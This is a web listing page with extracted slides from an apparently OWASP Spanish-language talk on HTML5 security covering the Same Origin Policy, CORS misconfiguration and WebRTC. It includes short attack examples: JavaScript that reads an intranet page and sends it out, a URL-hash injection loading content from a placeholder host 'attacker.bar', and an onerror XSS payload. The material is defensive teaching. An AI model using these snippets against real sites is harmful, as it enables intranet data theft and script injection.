PDF de programación - Apóyame HTML5

Imágen de pdf Apóyame HTML5

Apóyame HTML5gráfica de visualizaciones

Publicado el 11 de Junio del 2018
1.011 visualizaciones desde el 11 de Junio del 2018
3,1 MB
90 paginas
Creado hace 10a (07/04/2014)
APÓYAME HTML5

Derechos de Autor y Licencia
Copyright © 2003 – 2014 Fundación OWASP

Este documento es publicado bajo la licencia Creative Commons
Attribution ShareAlike 3.0. Para cualquier reutilización o distribución,
usted debe dejar en claro a otros los términos de la licencia sobre
este trabajo.

The OWASP Foundation
http://www.owasp.org

http://www.owasp.org

WHOAMI?

Oscar Martínez Ruiz de Castilla
Ingeniero Electrónico
Magister en Ciencias de la Computación
CISM, C)ISSO
OSCP, C|EH, C|HFI, C)PTE, C)PTC, C)SWAE
C)DFE, OSEH
Sophos Certified Engineer

Especialista en Seguridad Informática
Con más de 10 años de experiencia en TI
Penetration Tester (Network / Web Application)

[email protected]
fiery-owl.blogspot.com
@oscar_mrdc

Callao, Lima, Perú, 3ra roca desde el Sol

http://www.owasp.org

MOTIVACIÓN

Capa de Presentación

Capa de Negocio

http://www.owasp.org

MOTIVACIÓN

http://www.owasp.org

MOTIVACIÓN

http://www.owasp.org

AGENDA

¿Qué es HTML 5?

Cross Origin Resource Sharing

Local Storage

¿Qué es WebRTC?

Ipcalf

http://www.owasp.org

¿Qué no es esta presentación?

Una investigación

¿Qué es esta presentación?

Una recopilación

http://www.owasp.org

Referencias:

https://www.owasp.org/index.php/HTML5_Security_Cheat_Sheet

http://feross.org/ (Feross Aboukhadijeh)

https://github.com/natevw (Nathan Vander Wilt)

http://2013.zeronights.org/includes/docs/Krzysztof_Kotowicz_-

_Hacking_HTML5.pdf

http://2011.appsecusa.org/p/pwn.pdf

http://www.w3schools.com/html/

The Web Application Hacker's Handbook

The Browser Hacker's Handbook

http://www.owasp.org

¿QUÉ ES HTML5?
¿HTML4 + 1 no?

http://www.owasp.org

¿QUE ES HTML5?

Nueva versión de HTML

Versión

HTML

HTML+

HTML 2.0

HTML 3.2

HTML 4.01

XHTML

HTML 5

Año

1991

1993

1995

1997

1999

2000

2012

http://www.owasp.org

¿QUE ES HTML5?

Status: Draft / Candidate Recommendations

2014-02-04

http://www.w3.org/TR/2014/CR-html5-20140204/

-> Las cosas pueden cambiar!

http://www.owasp.org

¿QUE ES HTML5?

HTML5 ~= HTML + JS + CSS

HTML5 nos permite una nueva gama de

funcionalidades (otra vez... muchas fueron creadas

sin pensar en la seguridad?)

http://www.owasp.org

¿POR QUÉ USAR HTML5?

Soportar múltiples dispositivos (dispositivos móviles)

JavaScript APIs

NO HAY NECESIDAD DE PLUGINS!

http://www.owasp.org

JavaScript APIs

✔ Communication: Web Messaging, Cross Origin Resource

Sharing, WebSockets

✔ Storage: Local Storage (Web Storage), Client-side

databases (Web Database)

✔ Geolocation

✔ Web Workers

✔ Sandboxed frames

http://www.owasp.org

http://www.owasp.org

HTML5

JavaScript APIs ->

MAYOR SUPERFICIE DE ATAQUE!

http://www.owasp.org

Un poco de historia

Xmlhttprequest

“XMLHttpRequest es un objeto JavaScript que proporciona

una forma fácil de obtener información de una URL sin
tener que recargar la pagina completa. Una pagina web

puede actualizar sólo una parte de la pagina sin interrumpir

lo que el usuario esta haciendo. XMLHttpRequest es

ampliamente usado en la programación AJAX

( Asynchronous JavaScript And XML).”

http://www.owasp.org

Un poco de historia
Same origin Policy

“Restringe la comunicación entre aplicaciones con diferente

origen”

http://www.owasp.org

Un poco de historia

SOP

http://www.owasp.org

Un poco de historia
Same origin Policy

Origin = protocolo + nombre de dominio + puerto

http://example.com/document

http://example.com/other/document/here

https://example.com/document

https://www.example.com/document
http://example.com:8080/document

http://www.owasp.org

Un poco de historia
Same origin Policy

SOP políticas múltiples:

DOM access (Document Object Model)

Cookies

Flash
Java

XMLHTTPRequest

http://www.owasp.org

Un poco de historia

Same origin Policy + XMLHttpRequest

“Significa que una web sólo puede utilizar el objeto

XMLHttpRequest para hacer peticiones HTTP AJAX al
mismo domino desde el que se cargó la página original.
Las peticiones a dominios diferentes serán descartadas.”

http://www.owasp.org

Un poco de historia

SOP

http://www.owasp.org

Un poco de historia

SOP

http://www.owasp.org

Same Origin Policy

SOP

Cross Origin Resource Sharing

CORS

http://www.owasp.org

Cross Origin Resource Sharing

Same Origin Policy es un “problema” para desarrollar
funcionalidades que requieran usar servicios o módulos

desarrollados por terceros.

El estándar propone incluir nuevas cabeceras HTTP en la
comunicación cliente-servidor para saber si se debe enviar
(servidor) o mostrar (navegador) un recurso concreto, en

función del origen de la petición.

http://www.owasp.org

Cross Origin Resource Sharing

Permite por ejemplo:

✔ Que una aplicación web exponga recursos a TODOS o a

un grupo de dominios (origenes).

✔ Que un cliente web pueda realizar request AJAX a

recursos de otros dominios.

http://www.owasp.org

Cross Origin Resource Sharing

http://www.owasp.org

Cross Origin Resource Sharing

Hay colores casera:

✔ Simple requests

✔ Preflighted requests

http://www.owasp.org

Cross Origin Resource Sharing - Simple

✔ GET
✔ POST
✔ HEAD

POST -> Content-Type:

✔ application/x-www-form-urlencoded

✔ multipart/form-data

✔ text/plain

✗ No agrega HEADERS propios (ejemplo: X-Modified)

Si es otro caso -> Preflighted request

http://www.owasp.org

Cross Origin Resource Sharing (simple)

EL navegador, cuando se va a realizar una petición asíncrona a un
dominio diferente, debe incluir automáticamente la cabecera ORIGIN

en la petición:

Origin: http://www.sitio1.com

Esta cabecera indicará al servidor el dominio desde el que se está
haciendo la petición (desde el que se recibió la página original). El
servidor tendrá una lista de dominios permitidos y, si este está en la
lista, devolverá el recurso solicitado incluyendo en la respuesta la

nueva cabecera Access-Control-Allow-Origin:

Access-Control-Allow-Origin: http://www.sitio1.com

Con esta cabecera el servidor indica el origen al que le permite leer
este contenido. El navegador siempre comprobará esta cabecera. Si
no se recibe o no indica el dominio correcto, bloqueará la respuesta
para no permitir acceso al DOM a ningún script procedente de un

dominio ‘extraño’.
http://www.owasp.org

www.test-cors.org

<script>
function showHint()
{

var i=new XMLHttpRequest;
var url="http://server.cors-api.appspot.com/server?

id=6127214&enable=true&status=200&credentials=false";

i.open("POST",url,true);
i.setRequestHeader('Content-Type','text/plain');
i.onload = function()
{document.getElementById("txtHint").innerHTML=i.responseText;}
i.send();

}
showHint();
</script>

http://www.owasp.org

http://www.owasp.org

Cross Origin Resource Sharing (simple)

Entonces puedo usar “Origin” como control de acceso no?

http://www.owasp.org

Cross Origin Resource Sharing

OWASP Testing Guide v4

Test Cross Origin Resource Sharing (OTG-CLIENT-002)

Check the HTTP headers in order to understand how

CORS is used, in particular we should be very interested in

the Origin header to learn which domains are allowed.

Insecure response with wildcard '*' in Access-Control-Allow-

Origin.

http://www.owasp.org

Response (note the 'Access-Control-Allow-Origin' header)

HTTP/1.1 200 OK

Date: Mon, 07 Oct 2013 18:57:53 GMT

Server: Apache/2.2.22 (Debian)

X-Powered-By: PHP/5.4.4-14+deb7u3

Access-Control-Allow-Origin: *

Content-Length: 4

Keep-Alive: timeout=15, max=99

Connection: Keep-Alive

Content-Type: application/xml

[Response Body]

http://www.owasp.org

http://www.owasp.org

http://www.owasp.org

CORS Intranet

Ya que el servidor Intranet no se puede acceder desde Internet

(debido al firewall) y muchas aplicaciones hacen uso de los

servicios de Intranet

Access-Control-Allow-Origin: *

http://www.owasp.org

CORS Intranet

El atacante prepara un sitio web con código javascript y engaña a un

empleado para que acceda a dicha página desde la empresa.

El código javascript malicioso realiza Xmlhttprequest a Intranet.

xmlHttp=new XMLHttpRequest();

xmlHttp.open("GET","http://intranet.empresa.com",false);

xmlHttp.send();

doPost (xmlHttp.responseText);

http://www.owasp.org

CORS Intranet

Entonces el atacante puede acceder al contenido de Intranet.

http://www.owasp.org

HTML5 / WebRTC

BROWSER

CONFIGURACIÓN /
PROGRAMACIÓN

http://www.owasp.org

HTML5 / WebRTC

BROWSER

CONFIGURACIÓN /
PROGRAMACIÓN

El poder del '*'!

http://www.owasp.org

http://www.owasp.org

http://www.owasp.org

¿Qué pasa si tenemos alguna funcionalidad en ajax que no

valide que la url en el xlmhttprequest sea del mismo
dominio (casualmente porque antes no era necesario)?

OWASP Testing Guide v4

Test Cross Origin Resource Sharing (OTG-CLIENT-002)

http://www.owasp.org

http://example.foo/main.php#profile.php

<script>

var req = new XMLHttpRequest();

req.onreadystatechange = function() {

if(req.readyState==4 && req.status==200) {

document.getElementById("div1").innerHTML=req.respons

var resource = location.hash.substring(1);

req.open("GET",resource,true);



eText;
}

}

req.send();
</script>

http://www.owasp.org

http://example.foo/main.php#profile.php

http://example.foo/main.php#http://attacker.bar/file.php

Injected Content from attacker.bar <img src="#"
onerror="alert('Domain: '+document.domain)">

http://www.owasp.org

http://www.owasp.org

Si tenemos un navegador que permita HTML5, entonces

ahora ese ataque es posible.

Aplicación segura -> Aplicación insegura

(gracias HTML5!)

http://www.owasp.org

HTML5 / WebRTC

BROWSER

CONFIGURACIÓN /
PROGRAMACIÓN

http://www.owasp.org

http://www.owasp.org

<script>
function showHint()
{

}
showHint();
</script>

var i=new XMLHttpRequest;
var url="http://server.cors-api.appspot.com/server?

id=6127214&enable=true&status=200&credentials=false";

i.open("POST",url,true);
i.setRequestHeader('Content-Type','text/plain');
i.onload = function()
{document.getElementById("txtHint").innerHTML=i.responseText;}
  • Links de descarga
http://lwp-l.com/pdf11770

Comentarios de: Apóyame HTML5 (0)


No hay comentarios
 

Comentar...

Nombre
Correo (no se visualiza en la web)
Valoración
Comentarios...
CerrarCerrar
CerrarCerrar
Cerrar

Tienes que ser un usuario registrado para poder insertar imágenes, archivos y/o videos.

Puedes registrarte o validarte desde aquí.

Codigo
Negrita
Subrayado
Tachado
Cursiva
Insertar enlace
Imagen externa
Emoticon
Tabular
Centrar
Titulo
Linea
Disminuir
Aumentar
Vista preliminar
sonreir
dientes
lengua
guiño
enfadado
confundido
llorar
avergonzado
sorprendido
triste
sol
estrella
jarra
camara
taza de cafe
email
beso
bombilla
amor
mal
bien
Es necesario revisar y aceptar las políticas de privacidad